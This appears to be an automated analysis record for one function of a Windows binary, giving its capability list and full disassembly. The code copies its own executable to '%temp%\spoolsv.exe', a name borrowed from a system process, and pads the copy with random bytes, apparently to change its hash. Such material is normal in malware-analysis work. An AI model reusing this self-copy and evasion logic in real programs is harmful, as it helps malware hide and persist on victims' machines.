Function at 0x405f32
Capabilities:
Create thread
Get file size
Query environment variable
Read file on windows
Write file on windows

Disassembly:
mov eax, 0x410144
call fcn.00406b34
sub esp, 0x228
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x12f]
mov byte [ebp - 0x130], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x233]
mov byte [ebp - 0x234], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.GetModuleFileNameA
push str.kernel32.dll
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x104
lea eax, [ebp - 0x234]
push esi
push eax
push str._temp__spoolsv.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x130]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x130]
push esi
push eax
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [ebp - 0x130]
push str.Temp_spoolsv.exe
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x234]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 0x10
test eax, eax
je 0x406156
cmp esi, ebx
jne 0x406156
lea eax, [ebp - 0x234]
push eax
push 0x4184ec
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x130]
pop ecx
push ebx
push ebx
push 3
push ebx
push 1
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x406152
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 0x14], esi
je 0x406152
push esi
call sub.MFC42.DLL_operatornew
mov edi, eax
push esi
push ebx
push edi
mov dword [ebp - 0x1c], edi
call sub.MSVCRT.dll_memset
add esp, 0x10
cmp edi, ebx
je 0x406152
lea eax, [ebp - 0x2c]
push ebx
push eax
push esi
push edi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov esi, dword [sym.imp.MSVCRT.dll_fopen]
lea eax, [ebp - 0x234]
push 0x415a84
push eax
call esi
mov edi, dword [sym.imp.MSVCRT.dll_fwrite]
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 0x20], eax
je 0x4060b5
push eax
push 1
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x20]
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x234]
push 0x415a80
push eax
call esi
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push ebx
push eax
mov dword [ebp - 0x10], eax
call esi
push ebx
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 0x1c
mov dword [ebp - 0x14], 0x64
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xff
push 2
idiv ecx
push ebx
push dword [ebp - 0x10]
mov dword [ebp - 0x24], edx
call esi
push dword [ebp - 0x10]
lea eax, [ebp - 0x24]
push 4
push 1
push eax
call edi
add esp, 0x1c
dec dword [ebp - 0x14]
jne 0x4060f3
push 2
push ebx
push dword [ebp - 0x10]
mov dword [ebp - 0x28], 0x194
call esi
push dword [ebp - 0x10]
lea eax, [ebp - 0x28]
push 4
push 1
push eax
call edi
push dword [ebp - 0x10]
call dword [sym.imp.MSVCRT.dll_fclose]
push dword [ebp - 0x1c]
call dword [sym.imp.MSVCRT.dll_free]
add esp, 0x24
xor al, al
jmp 0x4061a4
call fcn.00404059
lea ecx, [ebp - 0x18]
mov esi, eax
call fcn.00406af4
push esi
lea eax, [ebp - 0x18]
push 0x415a7c
push eax
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::Format
add esp, 0xc
push 1
pop eax
cmp esi, eax
jne 0x406196
push ebx
push ebx
push ebx
push 0x405eb7
push ebx
push ebx
mov dword [0x4184e4], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::CString
mov al, 1
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret